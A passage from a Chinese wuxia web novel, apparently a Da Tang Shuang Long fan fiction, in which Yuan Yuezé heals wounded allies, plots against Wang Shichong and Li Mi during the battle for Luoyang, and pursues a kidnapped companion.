“你……这是什么……”
那人似是用尽全力,慢慢吐出几个字,话未说完,只见他身体暴胀,劈啪之声接连响起。
骨裂,肉碎。
全身如被开了无数小孔的容器一般,射出数不清的强烈白光。
“砰!”
瞬间爆作漫天精血碎粉,身体神迹般消失得无影无踪。
元越泽强猛的剑气有九成被轰入此人经脉之中,无法容纳这些剑气的身体自然会爆炸破坏。
这也正是其他三人并未受重创的原因。
元越泽突然有些后悔,这人应该重创后抓起来逼问才好,等他嘴硬再干掉也不迟,哪知自己临场再悟一式剑意,不自觉间用上了巅峰功力。
抬头环顾,元越泽失笑不已,在他错愕的那一刹那,刚刚还喊着要围杀他的人此时全都跑没影了。只留白清儿俏脸煞白,毫无血色地站在十几丈远处。
元越泽擦干血迹,一个纵身来到她面前。
望着略微发抖,眼神中极力在压制着的恐惧之色,元越泽给了她一个安心的笑意,伸出手掌放在她香肩上。
白清儿一愕,想躲却发觉身子似是不听使唤。但一瞬间,她察觉到元越泽正在输给自己沛然的元气。当下不做多想,抱元守一,吸纳起来。
白清儿半晌后仍无停手的迹象,的确贪得无厌,但她自己的身体的容量却是有限,元越泽的元气亦损耗巨大,当即轻咳一声。
白清儿似也察觉到了自己的贪婪,慌忙收回气息,断绝与元越泽的联系。
真气运转半晌,白清儿睁开双眸,精光连闪,立即对元越泽抛了个媚眼,盈盈一礼后娇声道:“多谢公子。”
元越泽站在她身前,仰望星空叹道:“你敢对我用媚术,不怕我杀了你吗?”
已经听出元越泽声音转冷,白清儿没来由地打了一个冷颤,低声道:“请公子恕罪,一切皆是清儿不由自主而发。”
元越泽好奇道:“我现在很虚弱,你不想试着来擒住我吗?”
白清儿一愣,但他察觉到元越泽刚刚真气澎湃,加上元越泽在世人心中都有一个阴影,宛若大山一般,是以白清儿亦不敢妄动。只听她笑道:“公子说笑了,公子本事哪是清儿可比的。”
元越泽刚刚爆发后的确很是虚弱,为了避免白清儿的纠缠,当下以助她恢复为理由,再次将更大的阴影印入她的脑海里。其实眼下的元越泽,的确是在硬撑着,那一剑后已是强弩之末。
这一招虚则实之,果然迷惑住了狡猾的白清儿,元越泽又笑道:“你们派内,大概都习惯随时用媚术了吧,只要对上有利用价值的男人,所有女人能用的手段都尽量用上。”
白清儿面色丝毫不变,开口道:“公子说的什么派内,清儿听糊涂了。”
元越泽好笑地看着她,这丫头和婠婠一样,都是‘影后’的最佳人选:“现在只有我们二人在这里,还隐瞒什么,阴后的二弟子。”
白清儿身形微颤:“公子果真是无所不知呢!是美仙师姐告诉你的吗?”
元越泽也不答她:“我还有事要做,后会有期了。”
白清儿慌忙开口道:“公子同为我圣门中人,不知有何打算?”
元越泽回头道:“也没什么打算,先好好教训一下那些白道的虚伪之人,再争取给门人一个与其他门派同等的生存空间吧!”
语毕,不理白清儿的呼唤,元越泽急奔杨公卿府邸而去。
行至远处,元越泽探查到白清儿没有跟踪过来,立时松了口气,看来刚刚的战术成功了。
调息半个时辰,恢复几成功力的元越泽收敛精气,潜入杨公卿府邸,进入书房,但这约好的会面点中却没有一个人。
元越泽心头思绪乱了起来,正在怀疑是否杨公卿在骗自己时,外面传来时断时续的哭泣声。
偷偷摸了过去,发觉一个大型卧房内,几个妇人与丫鬟皆一脸凄苦的流泪。
元越泽望榻,原来杨公卿一脸惨白地躺在床上,地上的长席上,亦躺这一个身材娇小的女子。
来不及再多想什么,元越泽破门而入,吓得屋内几人一脸恐慌地护在床前。
元越泽的样子几乎被洛阳大部分人所熟悉,看清楚后,几个妇人与丫鬟跪倒悲声道:“是元公子,请你快救救老爷和娇小姐!”
元越泽安慰她们几句后,为免受到打扰,着所有人退到门外,只留自己在房内。
“你……是元……公子?”
长席上的那娇小女子似是伤得不太重,勉强望着坐在床头的元越泽,断断续续地开口道。
元越泽正在用真气探查杨公卿,发觉其短时间内死不了,只是体内多了一股邪异真气与怪异的药力。
元越泽决定先治疗那女子,当下来到长席边,轻轻扶起她,点了点头后,真气直接渡入她体内。但她腿骨几乎全部断裂,眼下亦不是动用脑中奇力的时候,因为他已经习惯了保持最后一分警惕。
半刻钟后,那女子面色红润了一些。
“谢过公子再造之恩。”
那女子勉强笑道。
元越泽笑着摇头:“姑娘该是玲珑娇?”
那女子正望着元越泽发呆,听元越泽提问后连忙别过眼神,点了点头。
元越泽见她那一双微蓝的双眸很有吸引力,体内更是隐藏着一股说不出的野性美态,随即又开口道:“有事情稍候说,先为杨公治疗。”
再半刻钟,杨公卿终于恢复一些力气,睁开眼后,连忙道谢。
元越泽问起到底发生了什么事,杨公卿深望了脸色苍白的元越泽一眼叹道:“公子一直都对老夫有些怀疑,不怕老夫害你吗?”
元越泽一愕,刚刚只想着救人了,倒忘记了这事儿,本是恢复许多的体力再次消耗掉大半,尴尬一笑道:“我信任贞贞,自然也信任杨公。”
杨公卿听后亦是一愣,随即轻笑道:“老夫把贞贞当成亲女儿一样,又怎会害他的夫婿,再说也没能力害你们!”
元越泽心道人心难测啊,能力不单单指力量的强弱。
“先说说你们到底是怎么会事儿吧,怎么差点死去?”
元越泽感叹后立即问道。
杨公卿开口解释道:“是有人来偷袭老夫的,倒是害了玲珑,她本是与贞贞约好,今晚与公子一同商谈大事的,哪知早来了半个时辰,却正好遇上偷袭者。”
玲珑娇忙摇头。
元越泽眉头一皱:“可知道是谁派人来偷袭的?”
杨公卿几乎与玲珑娇异口同声道:“王世充!”
元越泽大讶:“王世充派人来偷袭你?现在不正是用人之际吗?”
杨公卿长长叹息一口气道:“公子万不要被王世充的表面给迷惑了,此人与大明尊教关系密切,如今重伤后,不把有私心将领的军权收回,他怎能放心交给他的儿子带领?”
元越泽又是一呆:“我还以为杨公看不出王世充当面一套,背后一套呢!那么说来他的重伤是真的?”
杨公卿摇头道:“这老狐狸算计来算计去,最后想耀武扬威一把却把自己赔进去了。他隐藏实力,又有秘密高手,以为可以一战杀掉李密,哪知李密不但也有高手,而且还是他的十几倍!”
元越泽似乎是听懂了一些,又追问道:“那如今大战不断,他打算将兵权交给谁?王世充的伤情又如何?”
杨公卿答道:“他的功力一直都隐藏着,老夫数年来从未见他出过手,这次出了全力,却被李密,独孤峰,宇文伤,尤楚红四人夹击,恐怕天下只有公子才有能力以一敌过他们四个了。王世充这次要恢复的话,最少需要两个月。他日后该会将兵权交给王玄应那不学无术的混蛋吧。”
元越泽笑道:“他把军权交给王玄应那笨蛋?王世充是不是茅坑里点灯,找死了啊?”
杨公卿与玲珑娇听元越泽说得如此粗俗,便笑出声来。
“他无论多么阴险,多么足智多谋,却已改变了太多,如果是十五年前的王世充,那李密绝对不是其对手,如今的王世充,虽然机智不减,但官场上的东西已经把他腐化了。比如他现在用人唯亲,多疑等等。”
杨公卿解释道。
元越泽暗忖那我还真把他看高了。随即转向玲珑娇道:“闻听贞贞说玲珑姑娘一直都在外办事,元某到洛阳来还从未见过你理!”
见玲珑娇扭捏地点头,杨公卿莫名其妙的大笑,随后道:“能让玲珑害羞的男人,你可是第一个。”
元越泽尴尬地挠了挠头:“按元某的理解,你们二位应该都忠于王世充才对,尤其玲珑姑娘。但为何又……”
杨公卿摇头苦笑:“正如刚才老夫所说,王世充变了太多,唉……这样实在让下属们心寒呐!”
玲珑娇亦默默点头。
元越泽讶道:“玲珑姑娘不是也同是大明尊教的人吗?”
玲珑娇笑道:“果然如贞贞姐所说,公子知道的隐秘事情有很多。不过我本是为报恩,却被王世充以药物控制,一年不拿他的解药便要毒发身亡。后来贞贞姐助我化去那种毒药,我对王世充简直恨死了。”
元越泽从卫贞贞口中听说过她们关系很要好,便也点了点头道:“稍候休息片刻,我回家叫来美仙与贞贞,她二人可助你们完全恢复。”
玲珑头道:“贞贞姐上次帮我解毒后,好像虚脱了一样,吓死人了,还说最少需要休息数日方能恢复。不过那力量真的很强大。”
元越泽轻笑一下,随即想起刚刚自己在路上被围攻一事,说给二人听。
沉默半晌,杨公卿开口道:“如老夫所猜不错,该是李世民与王世充在背后答成了什么秘密协议,而且公子对他们来说都是有威胁的人,说什么取和氏璧完全是借口,而公子所说那灰发老者该是李唐第一高手李神通,他躲在突利身后,似是怕被公子认出来,这也说明李世民不想与公子闹得太僵。而其他势力就不好说了,或许与李密,王世充分别有秘密协议,共同对付公子。而他们本来该害怕公子的,今日选取围攻时间上,似是与来偷袭老夫的人有关,这也该是王世充那老贼的计谋。一边拖住公子实施其他计划,一边来杀老夫夺军权。至于公子所说来历不明的两个偷袭者,一个该是‘影子刺客’杨虚彦,此人与王世充,李世民关系密切。另外一个按照公子所描述,该是李密的手下,因为他的真气特性与今日击败王世充那群神秘怪人很相似。”
现在元越泽对城内城外都有威胁,王世充怕他搞内乱,李密怕他帮王世充。结果双方本是敌人,现在竟然一同想到办法来对付元越泽,敌我关系实在混乱。
元越泽点了点头,沉思半晌后道:“眼下主要敌人还是王世充与李密,也没过多时间理会李世民那些人,不过总被他们算计,也不是什么值得高兴的事。我们该如何算计一下他们呢?”
杨公卿露出一个老奸巨猾的表情:“老夫体内本来也有战前王世充逼我们吃的药丸,但稍候贞贞可助老夫化去,老夫明日再见王世充,就说今日偷袭老夫之人被老夫装死唬走,王世充没办法下,外敌又在猛攻,他还是无法夺老夫兵权。只要时机掌握好,将他与李密一起干掉,那就什么事都没有了。”
元越泽喜出望外道:“姜还是老的辣啊!不过详细计划还要再斟酌一番。”
玲珑娇在一旁插口嗔道:“你们把计划都说得这么清楚,就不怕人家出去泄密吗?”
元越泽正乐得忘形,随便开口道:“你敢说出去,我就把你也抢回家做夫人,嘿嘿!”
屋内登时一片寂静,杨公卿眼神中带着些玩味,似笑非笑地看着他二人,玲珑娇本是豪爽女子,却也经不起他如此挑拨,当下窘迫不堪,羞得不敢抬起头来。
元越泽亦有些尴尬,忙转移话题:“王世充的秘密手下有多少?”
杨公卿沉声道:“就这些年来老夫所知,只有两个是高手,武功与王世充一样的邪门。但今日一死一伤,想要短时间内恢复很难。”
“听说公子已经找好了一个将来的‘洛阳王’,到底有是哪位?”
杨公卿复又问道。
元越泽并未开口,只是神秘一笑。
第047章 洛阳战争
翌日清晨。
洛阳战争进入第二天。
强装无恙的王世充召集重要将领,下达正式军令。
洛阳城以郎奉为主,王玄应,王玄恕为副。另派宋蒙秋率一万五千人马分批暗中奔向偃师。而一身重伤的杨公卿的任务则是带领两万兵马强攻金墉城。
众将虽不知如此强军压境下,为何做出这样的安排,但也知王世充的确称得上兵法大家,他如此做自然有他的理由,遂领命各自离开。
军事会议完毕,天色渐明,淅淅沥沥地下起小雨。
小雨持续一个多时辰,天色大变,乌云遮日,雷行电闪,小雨瞬间转变为暴雨!
得大雨之助,地面泥泞不堪,这一日,双方只是发生了零星的散斗。
杨公卿府邸。
书房内的密室中,几人围坐,似在商讨着什么事情。
杨公卿,卫贞贞,另外一个人竟然是宋师道。
杨,卫二人都是脸色不太正常,似是大病中的样子。
宋师道依旧一副儒雅君子的模样,只是其眸光中多几分往日不见的智慧与豪气。
杨公卿讲述半晌,叹道:“老夫本以为王世充糊涂到将兵权交给他那大儿子呢,结果交给了郎奉,看来他还有一丝清醒。”
宋师道沉静片刻,似是理清了头绪,开口道:“如此说来是要杨公做饵,引李密屯居于金墉城的兵士。说到底,那里并不是主战场,他还是信不过杨公,目下他最忌讳的人应该就是你。如果杨公这一招真的起到作用,那宋蒙秋更可守好偃师,随后出击兵力空乏的金墉城。进而打乱李密的阵脚,只是为何会给你这么多的兵马呢?难道只是为了诱敌?”
杨公卿笑道:“那怎么可能,如今洛阳被围,他那种多疑之人也不可能给老夫这么多人马做诱饵。因为这两万人马皆是老夫的心腹,王世充如昨夜计划成功,那么这些人马被迫就得认命,但老夫还没死,那王世充的计谋就无法得逞。他派走老夫及亲兵,一是做诱饵,二则是想间接削弱老夫的兵力,与敌人两败俱伤。这老狐狸,只剩一口气了还如此狡诈。”
宋师道点头道:“如今城外李密十万人马围在外面,实在想不通王世充为何还敢兵行险着。”
另外两人同样也是一副不解的神情。
半晌后,杨公卿开口道:“现在说那些也没有用了,看天色,大雨也快要停了,稍候黄昏即到,我们也该出发了。”
卫贞贞接口道:“杨公不等玲珑妹妹了吗?”
杨公卿尴尬一笑:“今日做戏太多,忘记了玲珑一事。”
旋即又想到王世充看见自己重伤样子后眼中闪过的狠毒之色及告诉王世充玲珑娇为救自己而被分尸时,王世充竟然也只是一脸失望,象征性的说了几句安慰的话。杨公卿恨声道:“老夫与玲珑多年来为他卖命,他最终也只是拿我们当棋子而已。这趟他不单要赔掉夫人,还要损兵折将,甚至连自己的老命与大明尊教侵入中原的计划也要葬送掉!”
宋师道听后亦苦笑一声:“师道也成了妹婿的棋子了。”
见杨,卫二人不解的神色,宋师道又解释道:“妹婿心怀天下万民,最终却只是平天下,而我却要等到日后他理想中的改革成功后方能恢复自由之身,这不是棋子是什么?”
杨,卫二人不觉莞尔,他们自然听得出宋师道那份玩笑之意。
杨公卿叹道:“你们的计划大到可以将人吓破胆!日后老夫定当尽力辅佐师道,尽一份自己的力量。”
卫贞贞亦娇笑道:“二哥该清楚夫君性子,非他不愿,实是不能。”
宋师道大笑,待要接话时,门外轻轻传来微弱而有节奏的敲门声。
杨公卿大喜,低声道:“是玲珑回来了。”
一声低喝后,房门被轻轻推开,一面容丑陋,身材娇小,披着蓑衣的身影闪了进来。
卫贞贞起身帮他脱去蓑衣,玲珑娇扯下脸上的假面具,来到桌前坐下,一脸倦色,其中又夹杂着丝丝欣喜。
喝了几口茶后,玲珑娇开口道:“今日收获颇丰。”
三人亦一脸期待地望向她,玲珑娇继续道:“李密已经偷偷地将大批人马移向金墉,本来只有一万左右兵力的金墉,恐怕明早就会拥有五万以上兵力!”
杨公卿脸色大变,如真是如此,那么他与两万部下恐怕真的一去难回了,于是慌忙问道:“查清楚移向金墉的人马头领是谁了吗?”
玲珑头道:“是李密。”
杨公卿颓然坐下:“元公子昨晚曾警告老夫说,李密最爱用‘奇兵’,在重重的布置之下,还会暗中准备一支奇兵,准备给敌人来个出其不意,迎头痛击,这才是李密真正可怕之处。现在看来他城外的布置只是引人耳目只计划罢了,老夫还在纳闷他为何不从东方直接攻来,而要绕到南城门那里。”
宋师道开口问道:“玲珑姑娘查到这些消息可否会被王世充知晓?”
玲珑娇摇头道:“昨夜元公子嘱咐我诈死,今日易容后出去查探,并未发觉任何嫌疑人也在打探消息。本来我有几个秘密手下,但这次事情重大,并没有告诉他们实情。而王世充在洛阳的情报来源除了我之外还有一个青蛇帮,但帮中行踪一向隐秘的二十几人在数日前全部被人干掉,如我所料不错,定是李密或其手下干的。这一手成功地断绝了王世充的洛阳情报网!而他本来还能依靠我,但此时连我都已经‘死’了,他还能依靠谁?”
卫贞贞捏着她小巧的瑶鼻嗔道:“什么死了活了的,多不吉利!”
玲珑娇亦是娇笑还击,看得出二女关系极为密切。
宋师道却摇头道:“此事大不简单,需知任何时候‘军情’都是最重要的。王世充绝不可能如此大意。”
杨公卿突然开口道:“老夫记起来了,昨夜老夫说起玲珑被人杀掉后,你那些手下似是都被王世充招揽去了。”
玲珑娇柳眉紧蹙:“如此说来,李密的行动最晚在今日夜里也会被王世充知晓了。”
宋师道又道:“如今李密并分两路,一东一南,东方才是他的主要兵力。”
卫贞贞亦道:“贞贞闻听杨公说过宇文伤也在李密阵中,那为何只有他一人呢?”
言下之意,宇文伤手下也有人马的,按理说也该配合李密谋取洛阳才对。
宋师道沉静片刻,沉声道:“如果我所猜测不错的话,李密定会命令宇文伤从梁都调来兵马,只是过于隐秘,而没被我们察觉罢了,如此一来,李密在东方的主战场上将威风八面,胜算亦大了许多。”
杨公卿叹道:“如今已经要出发了,多想亦无用。只是洛阳南的攻势,恐怕威胁都不小。”
卫贞贞似是想到了什么似的:“对了,我们本以为王世充太过狡猾,是以从来不轻易去探听他的府邸,但昨夜得知王世充伤势为真后,玉真姐偷偷去打探了一下,偷听到王玄应不满的发泄,似是说郎奉此人阴差阳违,不似真心对待王世充。而王玄应更是与他不合。”
杨公卿惊讶道:“真是如此?那老夫的怀疑便有些头绪了。”
见三人疑惑地望着自己,杨公卿继续道:“郎奉此人阴笑狡诈,善于阿谀拍马,与老夫一直不合,老夫从前听过此人是外族人,颇有些意见,但他逢人一套,背后又一套,老夫那时便怀疑此人不简单。”
“不管他是哪个势力派来的奸细,对于眼下的洛阳来说,都不是好事。王世充不知为何如此信任他?”
宋师道问道。
杨公卿答道:“其实王世充应该也有过怀疑,但他眼下只能如此安排。洛阳内的部署并不是最重要一步,他的最大部署在于宋蒙秋那一块。没想到他与李密斗智斗力,最终想法都碰到一起去了,决战场表面在城南,实际上转移到城东去了。”
宋师道开口道:“如此我们就来个一不做二不休,直接引李密去斗宋蒙秋,我们渔翁得利。”
杨公卿半晌后点头道:“他做初一,我做十五。”
随即又长笑一声:“老夫一生从未违背过军令,没想到这一次还真的违背了,但这一次却是值得!”
宋师道点头道:“偃师是洛阳东面的最大门户,同时也是洛阳的最后一道防线,因此若是偃师失守,洛阳将立刻陷入万劫不复之地,王世充在未知李密移动兵力前的如意算盘一是使奇兵,二是是守稳偃师,伺机攻占更东的洛口与虎牢,如此一来便能威胁瓦岗军大本营的荥阳。而李密大军压境只是表像,陈智略把守金墉城,单雄信率军向偃师进攻,洛口让邴元真率另一支军队驻守,三方的兵力都足以对偃师造成威胁。更何况还有暗中潜伏的宇文伤部下!而王世充再笨也不会察觉不到这些。是以才有今日的部署。”
杨公卿点头赞赏道:“师道不方便露面,不知有没有兴趣暗中陪老夫去当一次土匪,将偃师抢到手?”
宋师道点头大笑。
宋师道为何在这里?元越泽又跑哪里去了?
且说昨夜元越泽与杨公卿,玲珑娇详谈一个多时辰,随后又叫来单美仙与卫贞贞为杨,玲珑二人医治。天色很晚后才回到自己的小宅院。
翌日,习惯睡懒觉的他还在做着美梦时,就被一道淡黄色身影给揪着耳朵吵醒。仔细一看,元越泽是分别个把月的宋玉致。
一日不见,如隔三秋,更何况这么久,元越泽一把拉住佳人就是一顿乱啃,只把宋玉致吻得分不清东南西北,被对方几乎剥了个精光,元越泽正欲扬鞭上马时,门外传来不合时宜的敲门声,窘得春-情泛滥的宋玉致发起娇嗔来。
元越泽忙止住荒唐,二人收拾妥当后跟随脚步虚浮,窃笑不已的单美仙来到大厅。
厅中有一男二女,男的竟然是宋师道,一女是素素,另外一女长相与宋玉致颇为相似。
几人分别介绍见礼后,元越泽得知那陌生女子原来是宋缺的大女儿宋玉华,是宋玉致接来做客的。而宋师道则是在竟陵附近与宋玉致几人偶遇,宋玉致遂邀请他也来见见元越泽。没想到宋师道恰好在洛阳风起云涌之时到来。
元越泽见宋玉华一脸冷漠,只是淡淡打过招呼后便不发一言,虽心里有疑问却也知眼下不是询问时刻。便与宋师道胡吹起来。元越泽将最近所有形势讲给他听,亦要求他多与杨公卿打打交道。宋师道则讲起在江湖这小段日子里的遭遇。
二人不管周围几女的存在,正侃得口水互喷时,云玉真一脸慌张地跑了进来,手上拿着一张纸条。
“夫君,出事了!”
云玉真呼吸紊乱,一点儿也不像平时那般冷静。元越泽心头登时一凛。
云玉真递过纸条,开口讲道:“云芝今早到北码头去取情报,哪知一去不回,快一个时辰后,我在门口发现了这张字条。”
元越泽一脸冰冷地盯着手里的字条,上书:阁下夫人与在下路遇,笑谈几句,甚为投缘,遂在阁下没应允情况下被在下邀请至西平做客,阁下若不放心,可顺路寻来,夫人是为在下贵宾,在下定当以礼数相待,请勿担心。
“砰!”
元越泽面色大变,星眸含煞,一掌将圆桌拍碎,对云玉真怒声道:“我不是让你们小心吗?这个时候还要云芝出去做什么?难道不清楚我们满地都是敌人吗?”
众人都是头一次见元越泽发火,当下噤若寒蝉,云玉真更是委屈地哭出声来。
单美仙责怪地看了元越泽一眼,众女夜夜与他狂欢,早晨起床都无多少力气,按时取消息的事自然由云芝来做了。只是如今被人拿住把柄,元越泽急火攻心,失去理智,才有刚刚的表现。
拉着云玉真的手,示意众人坐下,单美仙皱眉道:“夫君错怪玉真了,这些拿住云芝的人似是早就有奸计,否则不会如此轻松便抓走她,云芝这几日来也习到些本事了。发火也解决不了事情,还是冷静下来吧。”
元越泽闭目半晌,复又睁开,点头道:“美仙说得是,我自己都乱了阵脚,还拿什么去与那些险恶之辈争斗。”
随即拉过依旧轻声啜泣的云玉真,歉然道:“玉真莫要哭了,是我不好,你要不解气,打我几下吧。”
云玉真知他心情烦躁,此时还顾及自己心情,哪还会责怪他,低声道:“是玉真不好,本该亲自去的,但怎奈……”
话未说完,小脸‘腾’地一下红了起来。
宋玉华刚刚冷漠的表情已经开始精彩起来,亲眼见到这传闻中的妹夫后,亦是心头暗赞果然是人中之龙,刚刚大发雷霆那一下,完全不似外表那般温文尔雅。随后更是毫不顾及面子,当中对云玉真道歉,甚至为了讨她欢心而放弃男人的尊严的让她去打他。在这种年代,男人的地位是占着绝对主导的,莫说男子被自己的妻子打,就是向自己的妻子道歉已是极为难得,那还要夫妻之间感情极为融洽而妻子又极受恩宠。元越泽这种男女平等的观念看在宋玉华眼中有一丝不解,更多的却是欣赏,无论这时代女人被古代三从四德思想毒害得多严重,内心里还是期望得到男人平等地对待与尊重。
元越泽进屋后也只是与宋玉华简单见礼而已,此刻注意力全在云芝被掳之事上。
单美仙接过纸条沉思片刻后道:“他们该是那红衣法后派来的人,定是担心夫君会阻碍李密夺得洛阳,用此计将夫君引开。”
元越泽在一旁奇怪地道:“这纸上的确有一丝怪异的气息,似是他们刻意留下的,但美仙如何肯定对方的来历?”
单美仙笑道:“夫君与他们交手次数也不少了,你平静下来好好感受一下。”
元越泽点头后轻抚上纸片,半晌后点头道:“的确如此,我曾与那大明圣尊教过手,他们两方势力的气息虽然都很邪异,仔细分辨下确实有不同之处。”
素素在一旁替云玉真擦干泪痕后感受一下那道气息,脸色古怪道:“似乎不像是那种穿乌金铠甲怪人的邪气。”
元越泽道:“这恐怕是他们掩人耳目的法子,要我们相信是被大明尊教的人所要挟。因为他们这种气息更像大明尊教之人所发。但假的始终是假的。如果说大明尊教的邪气是魔气,那么那法后手下的邪气便是妖气。”
随即元越泽又道:“他们的目的只是引开我而已,只要云芝没大碍就好,我立即追去,你们各自小心,二哥最好与杨公打一下交道吧,于公于私,他都是个值得交的人。”
简单与几女道别后,元越泽独自一人偷偷潜出城,沿路上对方分路段留下的气息与暗号追了上去。
洛阳战争第三日。
杨公卿一部人马行得缓慢,来到金墉城外五里安营扎寨。而金墉城内的瓦岗军似是毫不在意他们一般,只将城墙重重把守,也不出击。如此一来,正好双方得利,瓦岗军的主要目的再明显不过,那就是偃师。而杨公卿更是不想与对方硬拼,否则便是便宜了王世充与宋蒙秋。
李密以四支部队对偃师进行布置,真正进行攻城的是单雄信的部队。不过有著丰富行军经验的宋蒙秋却从部队扬起的烟尘察知这其实是一支乌合之众,应该是老弱或是新兵所组成,因此该部队显然是个诱敌之计,若宋蒙秋贸然出兵,真正的奇兵便会攻击偃师,让宋蒙秋首尾难顾,进而败北。
宋蒙秋按兵不动,目下便是见招拆招,以静制动。
而洛阳城南方面,李密亲自带兵数万,疯狂打击郎奉。郎奉亦不是蠢人,双方斗智斗力,互有损伤。
但李密带领城南军队一事由玲珑娇传到杨公卿耳中后,杨公卿与宋师道都糊涂了,根本分不清到底李密是在哪个战场。
战争持续到第七天。
转机出现。
一直躲在偃师中的宋蒙秋查知李密在金墉城的部队有异状,似是在每天后半夜偷偷将大批部队秘密移往金墉城北的邙山,若从邙山出击,可从偃师东北方直接冲杀而下。宋蒙秋得坛子回报后并没有下命令,如同未得到这么重要的消息一般依旧一动不动。
杨公卿大营。
宋师道坐在杨公卿对面,仔细地查看着桌上的地图。
只见洛水横贯正中,上方接近图顶处是与洛水并行横流的黄河。东都洛阳以一涂黑了的方格作代表,置于洛水西端处,往东依次是偃师,洛口,虎牢和萦阳,后两者分别筑在泛水和索水之旁,由黄河把洛、泛、索三条河流连接在一起。
宋师道指着位于洛阳和偃师之间稍北处代表城池的标致叹道:“金墉真是个绝妙的战略城池。”
杨公卿点头道:“目下我们与金墉城,宋蒙秋成三角之势,加上单雄信与潜伏着的宇文伤下属,则成为一个更为复杂的五角战阵。大家都在忍,但暗中部署不断,宋蒙秋倒也老道,并没有被李密瞒天过海一计所吸引。”
宋师道亦道:“但宋蒙秋一定担惊受怕,兵力上他绝对敌挡不了外面的几股强大势力。而在现今的情势下,杜伏威和沈法兴的联军随时可攻袭江都,随后北上,窦建德则意图南下,李阀亦要应付西面薛举父子的大军,李密能否及时夺得洛阳,实争胜天下的关键。所以李密欲得洛阳之心,比镬上的蚂蚁还要焦灼难熬。如今只看金墉方向与宋蒙秋谁先出手罢了。”
杨公卿沉思后道:“不知城南战况如何,等玲珑回来后便知晓了。”
宋师道笑道:“看如今形势,城南结果已经无关痛痒,但李密的真身到底在何处?而我们也要好好策划一下如何谋取偃师。”
杨公卿冥思片刻:“最好当然是他们拼得两败俱伤,我们也好渔翁得利,但这想法太过理想。金墉方面并不知晓我们的目的,定会留下最后一手防备我们。而如果结局已定,宋蒙秋落败的话,那我们就要硬拼。而金墉方面落败的话,那就要理想许多,宋蒙秋此人喜好功名,老夫甚至以为可以劝他归降。但关键点在于洛阳城最终会落在谁的手上。”
帐外突然有人来报玲珑娇归来,杨公卿立即请她来见。
尚书府。
书房地下的密室内,虽然装饰华丽,但湿气颇重,有种凄惨恐怖的感觉。
王世充气若游丝,怒瞪跪在身前的大儿子王玄应,咳了半晌才静下来:“你这畜生,杀了郎奉有何好处?你目下得了兵权,洛阳一旦被破,你我都是奴隶!你还是个狗屁的将军?”
王玄应左脸上红红的手指印尚未消失,眼中闪过狠厉之色,抬头哭道:“爹,你不要信谣言,郎将军被宇文伤与李密夹击,能活着退回军营就是天大的幸运了,他后来传给孩儿帅印,才咽下最后一口气,真不是孩儿杀他的!”
王世充闭目摇头,万念俱灰道:“不用再说了,你下去吧。”
王玄应慌忙道句身子要紧后退出秘室。
半晌后,王世充气息逐渐平复,猛然间眼中闪过一丝决绝,艰难开口对屏风道:“荣轩,如今不得不使出最后一招了,你会不会支持我?”
屏风后缓缓走出一个人影,身材瘦弱,面色惨白,只听他语带惊讶道:“难道圣使打算使用《八脉回天大法》”
王世充勉强坐起,苦笑道:“我王世充一生算计人,没想到只被人算计了一次,就几乎失去了一切,《八脉回天大法》你我都知,乃我圣教无上大法,可起死回生,但行功之法是要借助另外一个人的全身精气贯入受法者的奇经八脉,这个人还必须是习我圣教《御尽万法根源智经》方可,如今只有你能帮我了,否则我圣教在中土将会大败。”
荣轩似是在疑虑着什么,并没有回答。
王世充又道:“我这些年来的确在官场中改变了许多,但也是身不由己。对圣教之心,从未改变过。”
荣轩沉思半晌后答道:“圣使勿要怪我多嘴,你这些年来的确改变了太多。不过《八脉回天大法》一旦使用,将折损你最少三十年寿命,以圣使目前的情况看,恐怕恢复正常后最多也只能活上一年。荣轩为圣教牺牲亦不难,但圣使一去,又如何在中土振兴我圣教?”
王世充叹道:“眼下已经不容许我们想太多了,如不恢复,可能几日内洛阳就将沦陷。”
荣轩点了点头:“这也是唯一的办法了。”
王世充语带凄凉地道:“荣轩跟在我身边几十年,也辛苦了,以后你将活在我的体内。大法运行后需要一日静养,我们现在便开始吧。”
荣轩默默点了点头,脸上毫无即将死去的哀愁,反倒是带着几丝荣幸与欣喜,缓步来到王世充身前,单手抵上他的天灵盖……
一日后。
宋蒙秋接到一则神秘消息,偃师西南五十里,有数万瓦岗军精骑扎营。老谋深算的宋蒙秋当下派探子找寻,探子飞速查询后回报消息属实。宋蒙秋略一思索遍猜测到这些骑兵定是瓦岗军的核心力量,第一时间发动偃师九成以上兵力偷袭对方营。突如其来遭到偃师军的猛烈攻击,在猝不及防的状态下,整个瓦岗军变成无头苍蝇,到处乱窜。呈现围剿之势的偃师军与瓦岗精兵硬碰硬。直将这一片宽广战场便成人间地狱,修罗屠场。
生命在巨大暴力的互相撼击下,显得卑微无助,成王败寇,胜利就是这地狱战场的唯一真理。
虽然宋蒙秋处于主动,掌握优势,但他没有想到,瓦岗军的头领李密竟然就在阵中!几个回合下来,宋蒙秋命丧黄泉。冲杀数个时辰后,天色已近黄昏,剩余不足一万的瓦岗军在李密领导下直冲偃师。
取得偃师这一关键城市,虽然损失惨重,李密却依旧兴高采烈,正与独孤阀众人及部下们畅谈时,门外有探子回报。
李密端坐主座,身旁一众将领与伙伴皆在座。
探子跪地道:“密公,有两个重要消息,第一个是昨日上午宇文阀主阵前强杀王玄应,今日王世充不知为何竟然恢复如初,与宇文阀主及密公的替身大战良久,最终两败俱伤,密公的替身战死,双方仅剩下的万余兵马也拼得天昏地暗,最终收兵后,双方几乎都失去了战斗力。宇文阀主亦不知去向。”
屋内众人喜出望外,似是对宇文伤这个合作伙伴的生死毫不关心,李密更是开怀大笑:“那第二个消息又是什么?”
那探子略一迟疑后道:“金墉城被杨公卿鸠占鹊巢,本来留下的两万人马皆被他们下了,醒来时只有投降,留守的陈智略将军亦被擒住。”
李密心头一凛,心念电转,大笑道:“杨公卿居然还会来这一手,明日我军就先拿洛阳,待单将军到来后再剿杨公卿!”
沈落雁秀眉轻蹙,开口制止道:“密公请三思,我军的确携大胜之威,可王世充此人向来诡计多端,只说可以恢复那伤势就让人匪夷所思。杨公卿行动怪异,会不会是出于王世充的指使?如果杨公卿在我们夺洛阳时再来鸠占鹊巢这一着,我们该如何抵抗?眼下我们的兵力实在有限。而且宇文伤下落不明,恐怕他隐藏着的兵力也不会再为我们所用。”
独孤峰在一旁插口道:“的确如沈军师所言,我们一旦离开,而杨公卿偷袭这里的话,就会将我们与单将军隔离开来,这是最致命的一点,密公万勿冲动。”
李密正欲再开口,突听外面有士兵喊道:“报!王世充率大军在城外叫阵!”
屋内众人皆是一愣,李密大笑道:“他不是又受伤了吗?竟然还敢自己来送死?大家随我出去看看!”
众人情绪激昂,点头应是。
